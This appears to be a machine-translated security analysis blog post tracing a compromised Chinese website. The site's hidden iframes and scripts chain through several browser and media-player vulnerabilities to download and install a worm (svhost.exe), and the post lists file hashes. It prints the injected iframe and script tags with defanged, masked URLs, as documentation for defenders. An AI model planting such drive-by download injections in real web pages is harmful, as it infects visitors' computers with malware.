Automatically go to the "Skyeye Official Website"? In fact, it is an automatic network (worm. win32.downloader. KB)

Automatically go to the "Skyeye Official Website "? In fact, it is an automatic network (worm. win32.downloader. KB)

EndurerOriginal
1Version

In the webpage hxxp: // www. z * j *** 5*0. ***. CN/C * f **. asp? Code found on user_name = pp365pp:

/---
<IFRAME width = 0 Height = 0 src = "hxxp: // www. V * H ***** 68. ***. CN/LJ/lfad.html? Ad05 "> </iframe>
---/

#1 hxxp: // www. V * H *** 68. ***. CN/LJ/lfad.html? Ad05 contains code:
/---
<IFRAME src = "news.html" width = 100 Height = 0> </iframe>
---/

#1.1 hxxp: // www. V * H *** 68. ***. CN/LJ/news.html

Output code:
/---
<SCRIPT src = hxxp: // www. V * H *** 68. ***. CN/LJ/ms06014.js> </SCRIPT>
<IFRAME width = 100 Height = 0 src = hxxp: // www. V * H ***** 68. ***. CN/LJ/thunder.html> </iframe>
<IFRAME Style = display: None src = "hxxp: // www. V * H ***** 68. ***. CN/LJ/glworld.html"> </iframe>
<IFRAME Style = display: None src = "hxxp: // www. V * H ***** 68. ***. CN/LJ/stormii.html"> </iframe>
<Script language = "JavaScript" src = hxxp: // www. V * H *** 68. ***. CN/LJ/real. js> </SCRIPT>
<IFRAME Style = display: None src = "hxxp: // www. V * H ***** 68. ***. CN/LJ/real.html"> </iframe>
---/

#1.1.1 hxxp: // www. V * H *** 68. ***. CN/LJ/ms06014.js

Download hxxp: // www. V * H *** 68. ***. CN/LJ/svhost.exe with MS06-014 Vulnerability

File Description: D:/test/svhost.exe
Attribute: ---
An error occurred while obtaining the file version information!
Created at: 21:30:14
Modification time: 21:30:14
Size: 24596 bytes, 24.20 KB
MD5: cf2f307f4913ccc9204a2c0c9a8896c8
Sha1: 1917436c7fca0e5879924b0782ce7f4843b6359c
CRC32: 89e52725

Kaspersky report:Worm. win32.downloader. KB, Rising 43.42 did not respond.

#1.1.2 hxxp: // www. V * H *** 68. ***. CN/LJ/thunder.html

Download hxxp: // www. V * H *** 68. ***. CN/LJ/svhost.exe by using the thunder (dpclient. VOD, CLSID: F3E70CEA-956E-49CC-B444-73AFE593AD7F) Vulnerability

#1.1.3 hxxp: // www. V * H *** 68. ***. CN/LJ/glworld.html

Download hxxp: // www. V * H *** 68. ***. CN/LJ/svhost.exe using the vulnerability gliedown. iedown.1, CLSID: 61f5c358-60fb-4a23-a312-d2b556620f20.

#1.1.4 hxxp: // www. V * H *** 68. ***. CN/LJ/stormii.html

Download hxxp: // www. V * H *** 68. ***. CN/LJ/svhost.exe using the storm video (MPs. stormplayer.1, CLSID: Movie) Vulnerability

#1.1.5 hxxp: // www. V * H *** 68. ***. CN/LJ/real. js

Use the RealPlayer (ierpctl. ierpctl.1) vulnerability to download hxxp: // www. V * H *** 68. ***. CN/LJ/svhost.exe

#1.1.6 hxxp: // www. V * H *** 68. ***. CN/LJ/real.html

Download hxxp: // www. V * H *** 68. ***. CN/LJ/svhost.exe with RealPlayer (CLSID: CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA) Vulnerability

#1.1.7 use baidubar. tool to download hxxp: // www. V * H *** 68. ***. CN/LJ/svhost. Cab, which contains svhost.exe